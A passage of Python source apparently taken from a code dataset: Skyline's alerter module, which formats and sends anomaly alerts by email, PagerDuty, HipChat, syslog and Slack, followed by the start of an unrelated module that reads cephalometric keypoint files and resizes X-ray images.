try:\n body = '

    Skyline %s alert


    ' % context\n body += 'metric: %s
    ' % metric[1]\n body += 'Anomalous value: %s
    ' % str(metric[0])\n body += 'Anomaly timestamp: %s
    ' % str(int(metric[2]))\n # @added 20170806 - Feature #1830: Ionosphere alerts\n # Show a human date in alerts\n body += 'Anomalous at: %s
    ' % alerted_at\n body += 'At hours: %s
    ' % str(int(full_duration_in_hours))\n body += 'Next alert in: %s seconds
    ' % str(alert[2])\n # @added 20170603 - Feature #2034: analyse_derivatives\n if known_derivative_metric:\n body += 'Derivative graph: True
    '\n\n more_body = ''\n if settings.IONOSPHERE_ENABLED:\n # @modified 20170823 - Bug #2142: 7bit SMTP encoding breaking long urls\n # Broke body into body and more_body to workaround the 990 character\n # limit per line for SMTP\n more_body += '

    Ionosphere :: training data

    '\n ionosphere_link = '%s/ionosphere?timestamp=%s&metric=%s' % (\n settings.SKYLINE_URL, str(int(metric[2])), str(metric[1]))\n more_body += 'To use this timeseries to train Skyline that this is not anomalous manage this training data at:
    '\n more_body += '%s
    ' % (ionosphere_link, ionosphere_link)\n if redis_image_data:\n more_body += 'min: %s | max: %s | mean: %s
    ' % (\n str(array_amin), str(array_amax), str(mean))\n more_body += '3-sigma: %s
    ' % str(sigma3)\n more_body += '3-sigma upper bound: %s | 3-sigma lower bound: %s
    ' % (\n str(sigma3_upper_bound), str(sigma3_lower_bound))\n more_body += '

    Redis data at FULL_DURATION


    '\n more_body += '
    :%s
    ' % redis_img_tag\n if image_data:\n more_body += '

    Graphite data at FULL_DURATION (may be aggregated)

    '\n more_body += '
    ' % (link, img_tag)\n more_body += 'Clicking on the above graph will open to the Graphite graph with current data
    '\n if redis_image_data:\n more_body += 'To disable the Redis data graph view, set PLOT_REDIS_DATA to False in your settings.py, if the Graphite graph is sufficient for you,
    '\n more_body += 'however do note that will remove the 3-sigma and mean value too.
    '\n more_body += '
    '\n more_body += '
    Skyline version :: %s

    ' % str(skyline_version)\n except:\n logger.info(traceback.format_exc())\n logger.error('error :: alert_smtp - could not build body')\n\n # @modified 20180524 - Task #2384: Change alerters to cc other recipients\n # Do not send to each recipient, send to primary_recipient and cc the other\n # recipients, thereby sending only one email\n # for recipient in recipients:\n if primary_recipient:\n try:\n # @modified 20170823 - Bug #2142: 7bit SMTP encoding breaking long urls\n # Broke body into body and more_body to workaround the 990 character\n # limit per line for SMTP, using mixed as alternative indicates that\n # the client should select one of the parts for display and ignore\n # the rest (tripleee - https://stackoverflow.com/a/35115938)\n # msg = MIMEMultipart('alternative')\n msg = MIMEMultipart('mixed')\n\n # @added 20170812 - Bug #2142: 7bit SMTP encoding breaking long urls\n # set email charset and email encodings\n cs_ = charset.Charset('utf-8')\n cs_.header_encoding = charset.QP\n cs_.body_encoding = charset.QP\n msg.set_charset(cs_)\n\n msg['Subject'] = '[Skyline alert] - %s ALERT - %s' % (context, metric[1])\n msg['From'] = sender\n # @modified 20180524 - Task #2384: Change alerters to cc other recipients\n # msg['To'] = recipient\n msg['To'] = primary_recipient\n\n # @added 20180524 - Task #2384: Change alerters to cc other recipients\n # Added Cc\n if cc_recipients:\n msg['Cc'] = cc_recipients\n\n msg.attach(MIMEText(body, 'html'))\n # @added 20170823 - Bug #2142: 7bit SMTP encoding breaking long urls\n # Broke body into body and more_body to workaround the 990 character\n # limit per line for SMTP\n msg.replace_header('content-transfer-encoding', 'quoted-printable')\n msg.attach(MIMEText(more_body, 'html'))\n\n if redis_image_data:\n try:\n # @modified 20160814 - Bug #1558: Memory leak in Analyzer\n # I think the buf is causing a memory leak, trying a file\n # buf.seek(0)\n # msg_plot_attachment = MIMEImage(buf.read())\n # msg_plot_attachment = MIMEImage(buf.read())\n try:\n with open(buf, 'r') as f:\n plot_image_data = f.read()\n try:\n os.remove(buf)\n except OSError:\n logger.error(\n 'error :: alert_smtp - failed to remove file - %s' % buf)\n logger.info(traceback.format_exc())\n pass\n except:\n logger.error('error :: failed to read plot file - %s' % buf)\n plot_image_data = None\n\n # @added 20161124 - Branch #922: ionosphere\n msg_plot_attachment = MIMEImage(plot_image_data)\n msg_plot_attachment.add_header('Content-ID', '<%s>' % redis_graph_content_id)\n msg.attach(msg_plot_attachment)\n if settings.ENABLE_DEBUG or LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - msg_plot_attachment - redis data done')\n except:\n logger.error('error :: alert_smtp - msg_plot_attachment')\n logger.info(traceback.format_exc())\n\n if image_data is not None:\n try:\n msg_attachment = MIMEImage(image_data)\n msg_attachment.add_header('Content-ID', '<%s>' % content_id)\n msg.attach(msg_attachment)\n if settings.ENABLE_DEBUG or LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - msg_attachment - Graphite img source done')\n except:\n logger.error('error :: alert_smtp - msg_attachment')\n logger.info(traceback.format_exc())\n except:\n logger.error('error :: alert_smtp - could not attach')\n logger.info(traceback.format_exc())\n\n s = SMTP('127.0.0.1')\n try:\n # @modified 20180524 - Task #2384: Change alerters to cc other recipients\n # Send to primary_recipient and cc_recipients\n # s.sendmail(sender, recipient, msg.as_string())\n if cc_recipients:\n s.sendmail(sender, [primary_recipient, cc_recipients], msg.as_string())\n else:\n s.sendmail(sender, primary_recipient, msg.as_string())\n if settings.ENABLE_DEBUG or LOCAL_DEBUG:\n # logger.info('debug :: alert_smtp - message sent to %s OK' % str(recipient))\n logger.info(\n 'debug :: alert_smtp - message sent OK to primary_recipient :: %s, cc_recipients :: %s' %\n (str(primary_recipient), str(cc_recipients)))\n except:\n logger.info(traceback.format_exc())\n # logger.error('error :: alert_smtp - could not send email to %s' % str(recipient))\n logger.error(\n 'error :: alert_smtp - could not send email to primary_recipient :: %s, cc_recipients :: %s' %\n (str(primary_recipient), str(cc_recipients)))\n\n s.quit()\n\n if LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - Memory usage after email: %s (kb)' % resource.getrusage(resource.RUSAGE_SELF).ru_maxrss)\n\n if redis_image_data:\n # buf.seek(0)\n # buf.write('none')\n if LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - Memory usage before del redis_image_data objects: %s (kb)' % resource.getrusage(resource.RUSAGE_SELF).ru_maxrss)\n del raw_series\n del unpacker\n del timeseries[:]\n del timeseries_x[:]\n del timeseries_y[:]\n del values\n del datetimes[:]\n del msg_plot_attachment\n del redis_image_data\n # We del all variables that are floats as they become unique objects and\n # can result in what appears to be a memory leak, but is not, it is\n # just the way Python handles floats\n del mean\n del array_amin\n del array_amax\n del stdDev\n del sigma3\n if LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - Memory usage after del redis_image_data objects: %s (kb)' % resource.getrusage(resource.RUSAGE_SELF).ru_maxrss)\n if LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - Memory usage before del fig object: %s (kb)' % resource.getrusage(resource.RUSAGE_SELF).ru_maxrss)\n # @added 20160814 - Bug #1558: Memory leak in Analyzer\n # Issue #21 Memory leak in Analyzer - https://github.com/earthgecko/skyline/issues/21\n # As per http://www.mail-archive.com/matplotlib-users@lists.sourceforge.net/msg13222.html\n fig.clf()\n plt.close(fig)\n del fig\n if LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - Memory usage after del fig object: %s (kb)' % resource.getrusage(resource.RUSAGE_SELF).ru_maxrss)\n\n if LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - Memory usage before del other objects: %s (kb)' % resource.getrusage(resource.RUSAGE_SELF).ru_maxrss)\n del recipients[:]\n del body\n del msg\n del image_data\n del msg_attachment\n if LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - Memory usage after del other objects: %s (kb)' % resource.getrusage(resource.RUSAGE_SELF).ru_maxrss)\n\n return\n\n\ndef alert_pagerduty(alert, metric, context):\n \"\"\"\n Called by :func:`~trigger_alert` and sends an alert via PagerDuty\n \"\"\"\n if settings.PAGERDUTY_ENABLED:\n import pygerduty\n pager = pygerduty.PagerDuty(settings.PAGERDUTY_OPTS['subdomain'], settings.PAGERDUTY_OPTS['auth_token'])\n pager.trigger_incident(settings.PAGERDUTY_OPTS['key'], '%s alert - %s - %s' % (context, str(metric[0]), metric[1]))\n else:\n return\n\n\ndef alert_hipchat(alert, metric, context):\n \"\"\"\n Called by :func:`~trigger_alert` and sends an alert the hipchat room that is\n configured in settings.py.\n \"\"\"\n\n if settings.HIPCHAT_ENABLED:\n sender = settings.HIPCHAT_OPTS['sender']\n import hipchat\n hipster = hipchat.HipChat(token=settings.HIPCHAT_OPTS['auth_token'])\n rooms = settings.HIPCHAT_OPTS['rooms'][alert[0]]\n unencoded_graph_title = 'Skyline %s - ALERT at %s hours - %s' % (\n context, str(int(full_duration_in_hours)), str(metric[0]))\n graph_title_string = quote(unencoded_graph_title, safe='')\n graph_title = '&title=%s' % graph_title_string\n\n # @added 20180809 - Bug #2498: Incorrect scale in some graphs\n # If -xhours is used the scale is incorrect if x hours > than first\n # retention period, passing from and until renders the graph with the\n # correct scale.\n # @modified 20181009 - Feature #2618: alert_slack\n # Bug #2498: Incorrect scale in some graphs\n # Corrected the from_timestamp and until_timestamp as they were incorrectly\n # order, however Graphite still rendered the correct graph as it plotted\n # reverse, which is the same. Also using the metric[0] value instead of\n # time()\n # from_timestamp = int(time())\n # until_timestamp = from_timestamp - full_duration_seconds\n until_timestamp = int(metric[2])\n from_timestamp = until_timestamp - full_duration_seconds\n\n graphite_from = dt.datetime.fromtimestamp(int(from_timestamp)).strftime('%H:%M_%Y%m%d')\n logger.info('graphite_from - %s' % str(graphite_from))\n graphite_until = dt.datetime.fromtimestamp(int(until_timestamp)).strftime('%H:%M_%Y%m%d')\n logger.info('graphite_until - %s' % str(graphite_until))\n\n if settings.GRAPHITE_PORT != '':\n # @modified 20180809 - Bug #2498: Incorrect scale in some graphs\n # link = '%s://%s:%s/render/?from=-%shours&target=cactiStyle(%s)%s%s&colorList=orange' % (\n # settings.GRAPHITE_PROTOCOL, settings.GRAPHITE_HOST,\n # settings.GRAPHITE_PORT, str(int(full_duration_in_hours)), metric[1],\n # settings.GRAPHITE_GRAPH_SETTINGS, graph_title)\n link = '%s://%s:%s/render/?from=%s&until=%s&target=cactiStyle(%s)%s%s&colorList=orange' % (\n settings.GRAPHITE_PROTOCOL, settings.GRAPHITE_HOST,\n settings.GRAPHITE_PORT, str(graphite_from), str(graphite_until),\n metric[1], settings.GRAPHITE_GRAPH_SETTINGS, graph_title)\n else:\n # @modified 20180809 - Bug #2498: Incorrect scale in some graphs\n # link = '%s://%s/render/?from=-%shours&target=cactiStyle(%s)%s%s&colorList=orange' % (\n # settings.GRAPHITE_PROTOCOL, settings.GRAPHITE_HOST,\n # full_duration_in_hours, metric[1],\n # settings.GRAPHITE_GRAPH_SETTINGS, graph_title)\n link = '%s://%s/render/?from=%s&until=%s&target=cactiStyle(%s)%s%s&colorList=orange' % (\n settings.GRAPHITE_PROTOCOL, settings.GRAPHITE_HOST,\n str(graphite_from), str(graphite_until), metric[1],\n settings.GRAPHITE_GRAPH_SETTINGS, graph_title)\n embed_graph = \"\" + metric[1] + \"\"\n\n for room in rooms:\n message = '%s - %s - anomalous metric: %s (value: %s) at %s hours %s' % (\n sender, context, metric[1], str(metric[0]), str(int(full_duration_in_hours)), embed_graph)\n hipchat_color = settings.HIPCHAT_OPTS['color']\n hipster.method(\n 'rooms/message', method='POST',\n parameters={'room_id': room, 'from': 'Skyline', 'color': hipchat_color, 'message': message})\n else:\n return\n\n\ndef alert_syslog(alert, metric, context):\n \"\"\"\n Called by :func:`~trigger_alert` and log anomalies to syslog.\n\n \"\"\"\n if settings.SYSLOG_ENABLED:\n syslog_ident = settings.SYSLOG_OPTS['ident']\n message = '%s - Anomalous metric: %s (value: %s)' % (context, metric[1], str(metric[0]))\n if sys.version_info[:2] == (2, 6):\n syslog.openlog(syslog_ident, syslog.LOG_PID, syslog.LOG_LOCAL4)\n elif sys.version_info[:2] == (2, 7):\n syslog.openlog(ident=\"skyline\", logoption=syslog.LOG_PID, facility=syslog.LOG_LOCAL4)\n elif sys.version_info[:1] == (3):\n syslog.openlog(ident=\"skyline\", logoption=syslog.LOG_PID, facility=syslog.LOG_LOCAL4)\n else:\n syslog.openlog(syslog_ident, syslog.LOG_PID, syslog.LOG_LOCAL4)\n syslog.syslog(4, message)\n else:\n return\n\n\n# @added 20180807 - Feature #2492: alert on stale metrics (github #67)\ndef alert_stale_digest(alert, metric, context):\n \"\"\"\n Called by :func:`~trigger_alert` and sends a digest alert via smtp of the\n stale metrics to the default recipient\n\n \"\"\"\n LOCAL_DEBUG = False\n if settings.ENABLE_DEBUG or LOCAL_DEBUG:\n logger.info('debug :: alert_stale_digest - sending smtp digest alert of stale metrics')\n\n # @added 20180828 - Bug #2568: alert on stale metrics not firing\n # Create a new list from the metric[1] tuple item\n logger.info('alert_stale_digest - metric :: %s' % str(metric))\n stale_metrics = metric[1]\n logger.info('alert_stale_digest - stale_metrics :: %s' % str(stale_metrics))\n\n sender = settings.SMTP_OPTS['sender']\n try:\n # @modified 20180828 - Bug #2568: alert on stale metrics not firing\n # That was a list not a str\n # recipient = settings.SMTP_OPTS['default_recipient']\n recipient = settings.SMTP_OPTS['default_recipient'][0]\n logger.info('alert_stale_digest - sending smtp digest alert to %s' % str(recipient))\n except:\n logger.error('error :: alert_stale_digest - no known default_recipient')\n return False\n\n try:\n body = '

    Skyline %s alert


    ' % context\n body += 'Stale metrics (no data sent for ~%s seconds):
    ' % str(settings.ALERT_ON_STALE_PERIOD)\n # @modified 20180828 - Bug #2568: alert on stale metrics not firing\n # for metric_name in stale_metric[1]:\n for metric_name in stale_metrics:\n body += '%s
    ' % str(metric_name)\n except:\n logger.info(traceback.format_exc())\n logger.error('error :: alert_stale_digest - could not build body')\n try:\n msg = MIMEMultipart('mixed')\n cs_ = charset.Charset('utf-8')\n cs_.header_encoding = charset.QP\n cs_.body_encoding = charset.QP\n msg.set_charset(cs_)\n msg['Subject'] = '[Skyline alert] - %s ALERT - %s stale metrics' % (context, str(len(stale_metrics)))\n msg['From'] = sender\n msg['To'] = recipient\n msg.attach(MIMEText(body, 'html'))\n msg.replace_header('content-transfer-encoding', 'quoted-printable')\n # msg.attach(MIMEText(body, 'html'))\n logger.info('alert_stale_digest - msg attached')\n except:\n logger.error('error :: alert_smtp - could not attach')\n logger.info(traceback.format_exc())\n\n s = SMTP('127.0.0.1')\n try:\n s.sendmail(sender, recipient, msg.as_string())\n logger.info('alert_stale_digest - sent email to recipient :: %s' % str(recipient))\n except:\n logger.info(traceback.format_exc())\n logger.error('error :: alert_stale_digest - could not send email to recipient :: %s' % str(recipient))\n s.quit()\n return\n\n\n# @added 20181006 - Feature #2618: alert_slack\ndef alert_slack(alert, metric, context):\n\n if not settings.SLACK_ENABLED:\n return False\n\n from slackclient import SlackClient\n import simplejson as json\n\n logger.info('alert_slack - anomalous metric :: alert: %s, metric: %s' % (str(alert), str(metric)))\n base_name = str(metric[1]).replace(settings.FULL_NAMESPACE, '', 1)\n\n full_duration_in_hours = int(settings.FULL_DURATION) / 3600\n\n known_derivative_metric = False\n try:\n if settings.REDIS_PASSWORD:\n REDIS_ALERTER_CONN = redis.StrictRedis(password=settings.REDIS_PASSWORD, unix_socket_path=settings.REDIS_SOCKET_PATH)\n else:\n REDIS_ALERTER_CONN = redis.StrictRedis(unix_socket_path=settings.REDIS_SOCKET_PATH)\n except:\n logger.error('error :: alert_slack - redis connection failed')\n try:\n derivative_metrics = list(REDIS_ALERTER_CONN.smembers('derivative_metrics'))\n except:\n derivative_metrics = []\n redis_metric_name = '%s%s' % (settings.FULL_NAMESPACE, str(base_name))\n if redis_metric_name in derivative_metrics:\n known_derivative_metric = True\n if known_derivative_metric:\n try:\n non_derivative_monotonic_metrics = settings.NON_DERIVATIVE_MONOTONIC_METRICS\n except:\n non_derivative_monotonic_metrics = []\n skip_derivative = in_list(redis_metric_name, non_derivative_monotonic_metrics)\n if skip_derivative:\n known_derivative_metric = False\n\n if known_derivative_metric:\n unencoded_graph_title = 'Skyline %s - ALERT at %s hours - derivative graph - %s' % (\n context, str(int(full_duration_in_hours)), str(metric[0]))\n slack_title = '*Skyline %s - ALERT* on %s at %s hours - derivative graph - %s' % (\n context, str(metric[1]), str(int(full_duration_in_hours)),\n str(metric[0]))\n else:\n unencoded_graph_title = 'Skyline %s - ALERT at %s hours - %s' % (\n context, str(int(full_duration_in_hours)),\n str(metric[0]))\n slack_title = '*Skyline %s - ALERT* on %s at %s hours - %s' % (\n context, str(metric[1]), str(int(full_duration_in_hours)),\n str(metric[0]))\n\n graph_title_string = quote(unencoded_graph_title, safe='')\n graph_title = '&title=%s' % graph_title_string\n until_timestamp = int(metric[2])\n from_timestamp = until_timestamp - full_duration_seconds\n graphite_from = dt.datetime.fromtimestamp(int(from_timestamp)).strftime('%H:%M_%Y%m%d')\n logger.info('graphite_from - %s' % str(graphite_from))\n graphite_until = dt.datetime.fromtimestamp(int(until_timestamp)).strftime('%H:%M_%Y%m%d')\n logger.info('graphite_until - %s' % str(graphite_until))\n # @added 20181025 - Feature #2618: alert_slack\n # Added date and time info so you do not have to mouseover the slack\n # message to determine the time at which the alert came in\n timezone = strftime(\"%Z\", gmtime())\n # @modified 20181029 - Feature #2618: alert_slack\n # Use the standard UNIX data format\n # human_anomaly_time = dt.datetime.fromtimestamp(int(until_timestamp)).strftime('%Y-%m-%d %H:%M:%S')\n human_anomaly_time = dt.datetime.fromtimestamp(int(until_timestamp)).strftime('%c')\n slack_time_string = '%s %s' % (human_anomaly_time, timezone)\n\n if settings.GRAPHITE_PORT != '':\n if known_derivative_metric:\n link = '%s://%s:%s/render/?from=%s&until=%s&target=cactiStyle(nonNegativeDerivative(%s))%s%s&colorList=orange' % (\n settings.GRAPHITE_PROTOCOL, settings.GRAPHITE_HOST,\n settings.GRAPHITE_PORT, str(graphite_from), str(graphite_until),\n metric[1], settings.GRAPHITE_GRAPH_SETTINGS, graph_title)\n else:\n link = '%s://%s:%s/render/?from=%s&until=%s&target=cactiStyle(%s)%s%s&colorList=orange' % (\n settings.GRAPHITE_PROTOCOL, settings.GRAPHITE_HOST,\n settings.GRAPHITE_PORT, str(graphite_from), str(graphite_until),\n metric[1], settings.GRAPHITE_GRAPH_SETTINGS, graph_title)\n else:\n if known_derivative_metric:\n link = '%s://%s/render/?from=%s&until=%s&target=cactiStyle(nonNegativeDerivative(%s))%s%s&colorList=orange' % (\n settings.GRAPHITE_PROTOCOL, settings.GRAPHITE_HOST,\n str(graphite_from), str(graphite_until), metric[1],\n settings.GRAPHITE_GRAPH_SETTINGS, graph_title)\n else:\n link = '%s://%s/render/?from=%s&until=%s&target=cactiStyle(%s)%s%s&colorList=orange' % (\n settings.GRAPHITE_PROTOCOL, settings.GRAPHITE_HOST,\n str(graphite_from), str(graphite_until), metric[1],\n settings.GRAPHITE_GRAPH_SETTINGS, graph_title)\n\n # slack does not allow embedded images, nor will it fetch links behind\n # authentication so Skyline uploads a png graphite image with the message\n image_file = None\n\n # Use the Ionosphere image if it exists\n if settings.IONOSPHERE_ENABLED:\n timeseries_dir = base_name.replace('.', '/')\n training_data_dir = '%s/%s/%s' % (\n settings.IONOSPHERE_DATA_FOLDER, str(int(metric[2])),\n timeseries_dir)\n graphite_image_file = '%s/%s.%s.graphite.%sh.png' % (\n training_data_dir, base_name, skyline_app,\n str(int(full_duration_in_hours)))\n logger.info('alert_slack - interpolated Ionosphere Graphite image :: %s' % (\n graphite_image_file))\n else:\n graphite_image_file = None\n logger.info('alert_slack - no Ionosphere Graphite image interpolated')\n\n if graphite_image_file:\n if os.path.isfile(graphite_image_file):\n image_file = graphite_image_file\n logger.info('alert_slack - interpolated Ionosphere Graphite image file exists :: %s' % (\n graphite_image_file))\n else:\n logger.error('error :: alert_slack - interpolated Ionosphere Graphite image file not found :: %s' % (\n graphite_image_file))\n\n if not image_file:\n # Fetch the png from Graphite\n try:\n image_data = urllib2.urlopen(link).read() # nosec\n except urllib2.URLError:\n logger.error(traceback.format_exc())\n logger.error('error :: alert_slack - failed to get image graph')\n logger.error('error :: alert_slack - %s' % str(link))\n image_data = None\n if image_data:\n image_file = '%s/%s.%s.graphite.%sh.png' % (\n settings.SKYLINE_TMP_DIR, base_name, skyline_app,\n str(int(full_duration_in_hours)))\n try:\n write_data_to_file(skyline_app, image_file, 'w', image_data)\n logger.info('alert_slack - added Graphite image :: %s' % (\n image_file))\n except:\n logger.info(traceback.format_exc())\n logger.error(\n 'error :: alert_slack - failed to add %s Graphite image' % (\n image_file))\n image_file = None\n try:\n filename = os.path.basename(image_file)\n except:\n filename = None\n\n try:\n bot_user_oauth_access_token = settings.SLACK_OPTS['bot_user_oauth_access_token']\n except:\n logger.error('error :: alert_slack - could not determine bot_user_oauth_access_token')\n return False\n try:\n channels = settings.SLACK_OPTS['channels'][alert[0]]\n except:\n logger.error('error :: alert_slack - could not determine channel')\n return False\n\n try:\n icon_emoji = settings.SLACK_OPTS['icon_emoji']\n except:\n icon_emoji = ':chart_with_upwards_trend:'\n\n try:\n sc = SlackClient(bot_user_oauth_access_token)\n except:\n logger.info(traceback.format_exc())\n logger.error('error :: alert_slack - could not initiate SlackClient')\n return False\n\n ionosphere_link = '%s/ionosphere?timestamp=%s&metric=%s' % (\n settings.SKYLINE_URL, str(int(metric[2])), str(metric[1]))\n\n message_payload = json.dumps([{\n \"fallback\": slack_title + ' - ' + link,\n \"title\": slack_title,\n \"title_link\": link,\n \"image_url\": link,\n \"text\": 'Ionosphere training data :: ' + ionosphere_link,\n \"color\": \"#764FA5\"\n }])\n\n for channel in channels:\n if settings.IONOSPHERE_ENABLED:\n # @modified 20181025 - Feature #2618: alert_slack\n # Added date and time info so you do not have to mouseover the slack\n # message to determine the time at which the alert came in\n # initial_comment = slack_title + ' :: <' + link + '|graphite image link>\\n*Ionosphere training dir* :: <' + ionosphere_link + '|training data link>'\n initial_comment = slack_title + ' :: <' + link + '|graphite image link>\\n*Ionosphere training dir* :: <' + ionosphere_link + '|training data link> :: for anomaly at ' + slack_time_string\n else:\n # initial_comment = slack_title + ' :: <' + link + '|graphite image link>'\n initial_comment = slack_title + ' :: <' + link + '|graphite image link>\\nFor anomaly at ' + slack_time_string\n try:\n # slack does not allow embedded images, nor links behind authentication\n # so we have to upload an image with the message\n if os.path.isfile(image_file):\n slack_file_upload = sc.api_call(\n 'files.upload', filename=filename, channels=channel,\n initial_comment=initial_comment, file=open(image_file, 'rb'))\n if not slack_file_upload['ok']:\n logger.error('error :: alert_slack - failed to send slack message')\n # @added 20181205 - Branch #2646: slack\n # TODO\n # The slack message id needs to be determined here so that it\n # can be recorded against the anamoly id and so that webapp can\n # notify the message thread when a training_data page is\n # reviewed, a feature profile is created and/or a layers profile\n # is created. A basic description of this functionally is terms\n # of the webapp code changes and the changes required to the DB\n # and Panorama/Redis to achieve the desired goal.\n # TODO - Panorama workload and DB changes.\n else:\n try:\n slack_thread_updates = settings.SLACK_THREAD_UPDATES\n except:\n slack_thread_updates = False\n if slack_thread_updates:\n # This is basically the channel id of your channel, the\n # name could be used so that if in future it is used or\n # displayed in a UI or just you plain looking at the\n # DB table data, it is human understandable, humans do\n # not see the channel id, they knoow the channels by\n # names. Skyline could have it's own channel id name DB\n # mappings. This may be important in terms of only\n # doing slack_thread_updates on the primary Skyline\n # slack channel.\n try:\n slack_group = slack_file_upload['file']['groups'][0].encode('utf-8')\n slack_group_list = slack_file_upload['file']['shares']['private'][slack_group]\n # In terms of the generated Slack URLS for threads the\n # timestamps have no dots e.g.:\n # https://.slack.com/archives//p1543994173000700\n # However in terms of the sc.api_call the thread_ts\n # needs the format declared in the dict response e.g.\n # u'ts': u'1543994173.000700'}]} with the dot so in this\n # case '1543994173.000700'\n slack_thread_ts = slack_group_list[0]['ts'].encode('utf-8')\n logger.info('alert_slack - the slack_thread_ts is %s)' % str(slack_thread_ts))\n except:\n logger.info(traceback.format_exc())\n logger.error('error :: alert_slack - faied to determine slack_thread_ts')\n # Insert into Redis for Panorama to process?\n # No anomaly_id will be known here so it needs\n # metric, timestamp, slack_group, slack_thread_ts\n # Panorama will have to surface the anomaly_id and create a\n # slack_alerts table record for it:\n # anomaly_id, slack_group, slack_thread_ts, app, context, reason\n # where context is one of the following:\n # alerted, training_data_viewed, features_profile_created\n # layer_profile_created\n # And reason is a note e.g. daily rsync backup, the\n # reason being any note/s attached to the action, maybe\n # the profile label. The reason is more important in\n # the webapp context for user notes/sharing, the reason\n # in the context of alerters will simply be:\n # reason = 'alerted'\n # slack_thread_updated = slack_thread_update(\n # app, base_name, int(until_timestamp),\n # str(slack_group), str(slack_thread_ts), str(reason))\n else:\n send_text = initial_comment + ' :: error :: there was no graph image to upload'\n send_message = sc.api_call(\n 'chat.postMessage',\n channel=channel,\n icon_emoji=icon_emoji,\n text=send_text)\n if not send_message['ok']:\n logger.error('error :: alert_slack - failed to send slack message')\n else:\n logger.info('alert_slack - sent slack message')\n except:\n logger.info(traceback.format_exc())\n logger.error('error :: alert_slack - could not upload file')\n return False\n\n\ndef trigger_alert(alert, metric, context):\n \"\"\"\n Called by :py:func:`skyline.analyzer.Analyzer.spawn_alerter_process\n ` to trigger an alert.\n\n Analyzer passes three arguments, two of them tuples. The alerting strategy\n is determined and the approriate alert def is then called and passed the\n tuples.\n\n :param alert:\n The alert tuple specified in settings.py.\\n\n alert[0]: The matched substring of the anomalous metric\\n\n alert[1]: the name of the strategy being used to alert\\n\n alert[2]: The timeout of the alert that was triggered\\n\n alert[3]: The second order resolution hours [optional for Mirage]\\n\n :param meric:\n The metric tuple.\\n\n metric[0]: the anomalous value\\n\n metric[1]: The full name of the anomalous metric\\n\n metric[2]: anomaly timestamp\\n\n :param context: app name\n :type context: str\n\n \"\"\"\n\n if '@' in alert[1]:\n strategy = 'alert_smtp'\n else:\n strategy = 'alert_%s' % alert[1]\n\n try:\n getattr(alerters, strategy)(alert, metric, context)\n except:\n logger.error('error :: alerters - %s - getattr error' % strategy)\n logger.info(traceback.format_exc())\n","repo_name":"freedombenLiu/skyline-3-sigma-","sub_path":"skyline/analyzer/alerters.py","file_name":"alerters.py","file_ext":"py","file_size_in_byte":67892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"43549594075","text":"import os\nimport sys\nimport numpy as np\nimport scipy.ndimage as ndimage\nimport PIL.Image\nimport skimage.transform\n\ndef getPointsFileFromImg(fnameImageOrig, txtDirName='2_labels', extension=None):\n '''\n Returns the file containing the points for cephalometric image fnameImageOrig (original size)\n\n fnameImageOrig - string\n Path to cepahalometric image in dataset.\n e.g.: .../1_images/K00116_3__07__2019_A_1.png\n\n txtDirName - string\n Directory containing the points data.\n\n extension - string\n Extension of points data, added to image file name.\n if None, it will auto set set extension either .jpg-points.txt or .png-points.txt\n OLD: extension='.png-points.txt'\n\n Returns:\n string\n path to keypoint text file\n\n '''\n '''\n TODO:\n original default extension='.png-points.txt'\n spremeni v None\n \n preveri ce je None -> potem dobi png/jpg in dodaj \"-points.txt\"\n sicer pa uporabi tistega ki ga dobis iz argumenta funkcije\n \n naredi unit teste za vse kombinacije\n '''\n basename = os.path.basename(fnameImageOrig)\n basename = os.path.splitext(basename)[0]\n if extension is None:\n imgExt = os.path.splitext(os.path.basename(fnameImageOrig))[1] # \".png\" or \".jpg\"\n #print(f'imgExt: {imgExt}')\n extension = imgExt + '-points.txt' # .png-points.txt\n \n pardir = os.path.abspath(os.path.join(fnameImageOrig, os.pardir, os.pardir))\n fnameTxt = os.path.join(pardir, txtDirName, basename + extension)\n # .../2_labels/K00116_3__07__2019_A_1.png-points.txt\n return fnameTxt\n\n\ndef readPointsInTxt(fnameTxt, csvChar=' ', pointCount=72, firstLineMetadata=True, byListFname=None):\n '''\n Reads CephBot CSV .txt file and returns array\n vrne np array, (2, 10), (yyyy, xxxx), y ind vrstice, x ind stolpca\n (CehpBenchmark ima drugace!)\n\n fnameTxt - string\n path to keypoint text file\n\n csvChar - string\n column separator used in file\n\n pointCount - int\n number of points, if None it is determined from the file\n if None, will be set as actual points in fnameTxt\n\n firstLineMetadata - bool\n is the first line in the file the columns header?\n If True the first line is skipped.\n\n byListFname - string\n path to file containing ordered short keypoints names\n if None (by default), same order as in fnameTxt\n\n returns:\n np.ndarray <2xN>\n Array with N points.\n '''\n with open(fnameTxt, 'r') as f:\n lines = f.readlines()\n lines = [item.rstrip() for item in lines]\n #line example:\n # 4024,3697,2,Me\n if firstLineMetadata:\n del lines[0]\n\n if pointCount is None:\n pointCount = len(lines)\n\n # if byListFname path is given, read file and sort \"lines\" by it\n if byListFname is not None:\n with open(byListFname, 'r') as f:\n kpList = f.readlines()\n kpList = [item.rstrip() for item in kpList]\n linesNew = []\n for keypoint in kpList:\n # search each keypoint from keypointList File\n found = False\n for l in lines:\n currPoint = l.split(csvChar)[3]\n if currPoint == keypoint:\n linesNew.append(l)\n found = True\n if found is False:\n raise Exception(f'keypoint {keypoint} not found in {fnameTxt}')\n pointCount = len(linesNew)\n lines = linesNew\n\n if (len(lines) < pointCount) and (byListFname is None):\n txt1 = \"ERROR: point count from arg (program) is bigger than point count from data (file)\"\n txt2 = f'arg vs file: {len(lines)} vs {pointCount}'\n raise Exception(txt1+'\\n'+txt2)\n readVals = np.zeros((2, len(lines)))\n for i in range(0, pointCount):\n line = lines[i].split(csvChar)\n # cephal benchmark has x,y (width, height)\n # we work with y,x\n readVals[1, i] = float(line[0])\n readVals[0, i] = float(line[1])\n return readVals\n\n\ndef resizeAndPadImage(fileName, h=360, w=480):\n '''\n Loads Cephalometric image as grayscale. The datatype is as in file (8bit or 16bit)\n sprejme fileName za hires xray sliko (png), cv2 prebere, resiza in pada. vrne sivinsko sliko\n\n fileName - string\n path to a Cephalometric image\n\n h - int\n target height of image\n\n 